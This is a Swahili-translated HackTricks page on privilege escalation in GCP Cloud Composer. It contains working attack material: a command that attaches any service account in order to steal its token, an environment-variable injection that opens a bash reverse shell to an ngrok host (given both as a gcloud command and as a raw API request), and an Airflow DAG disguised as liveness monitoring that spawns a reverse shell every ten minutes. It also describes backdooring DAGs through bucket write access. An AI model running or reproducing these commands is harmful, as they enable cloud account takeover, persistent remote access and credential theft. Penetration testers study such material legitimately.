GCP - Composer Privesc

Support HackTricks

composer

Maelezo zaidi katika:

composer.environments.create

Inawezekana kuunganisha akaunti yoyote ya huduma kwenye mazingira mapya ya composer yenye ruhusa hiyo. Baadaye unaweza kutekeleza msimbo ndani ya composer ili kuiba token ya akaunti ya huduma.

gcloud composer environments create privesc-test \
--project "${PROJECT_ID}" \
--location europe-west1 \
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"

Zaidi ya habari kuhusu matumizi hapa.

composer.environments.update

Inawezekana kuboresha mazingira ya composer, kwa mfano, kubadilisha mabadiliko ya env:

# Even if it says you don't have enough permissions the update happens
gcloud composer environments update \
projects/<project-id>/locations/<location>/environments/<composer-env-name> \
--update-env-variables="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/19990 0>&1' & #%s" \
--location <location> \
--project <project-id>

# Call the API endpoint directly
PATCH /v1/projects/<project-id>/locations/<location>/environments/<composer-env-name>?alt=json&updateMask=config.software_config.env_variables HTTP/2
Host: composer.googleapis.com
User-Agent: google-cloud-sdk gcloud/480.0.0 command/gcloud.composer.environments.update invocation-id/826970373cd441a8801d6a977deba693 environment/None environment-version/None client-os/MACOSX client-os-ver/23.4.0 client-pltf-arch/arm interactive/True from-script/False python/3.12.3 term/xterm-256color (Macintosh; Intel Mac OS X 23.4.0)
Accept-Encoding: gzip, deflate, br
Accept: application/json
Content-Length: 178
Content-Type: application/json
X-Goog-Api-Client: cred-type/sa
Authorization: Bearer [token]
X-Allowed-Locations: 0x0

{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}

TODO: Pata RCE kwa kuongeza pakiti mpya za pypi kwenye mazingira

Pakua Dags

Angalia msimbo wa chanzo wa dags zinazotekelezwa:

mkdir /tmp/dags
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags

Ingiza Dags

Ongeza msimbo wa python DAG kwenye faili na uingize kwa kukimbia:

# TODO: Create dag to get a rev shell
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py

Reverse shell DAG:

reverse_shell.py
import airflow
from airflow import DAG
from airflow.operators.bash_operator import BashOperator
from datetime import timedelta

default_args = {
'start_date': airflow.utils.dates.days_ago(0),
'retries': 1,
'retry_delay': timedelta(minutes=5)
}

dag = DAG(
'reverse_shell',
default_args=default_args,
description='liveness monitoring dag',
schedule_interval='*/10 * * * *',
max_active_runs=1,
catchup=False,
dagrun_timeout=timedelta(minutes=10),
)

# priority_weight has type int in Airflow DB, uses the maximum.
t1 = BashOperator(
task_id='bash_rev',
bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1',
dag=dag,
depends_on_past=False,
priority_weight=2**31 - 1,
do_xcom_push=False)

Kuandika Upatikanaji kwa bakuli la Composer

Vipengele vyote vya mazingira ya composer (DAGs, plugins na data) vinahifadhiwa ndani ya bakuli la GCP. Ikiwa mshambuliaji ana ruhusa za kusoma na kuandika juu yake, anaweza kufuatilia bakuli na wakati wowote DAG inaundwa au kusasishwa, kuwasilisha toleo lililo na backdoor ili mazingira ya composer yapate toleo hilo lililo na backdoor kutoka kwenye hifadhi.

Pata maelezo zaidi kuhusu shambulio hili katika:

Ingiza Plugins

TODO: Angalia ni nini kinaweza kuathiriwa kwa kupakia plugins

Ingiza Data

TODO: Angalia ni nini kinaweza kuathiriwa kwa kupakia data

Support HackTricks

Last updated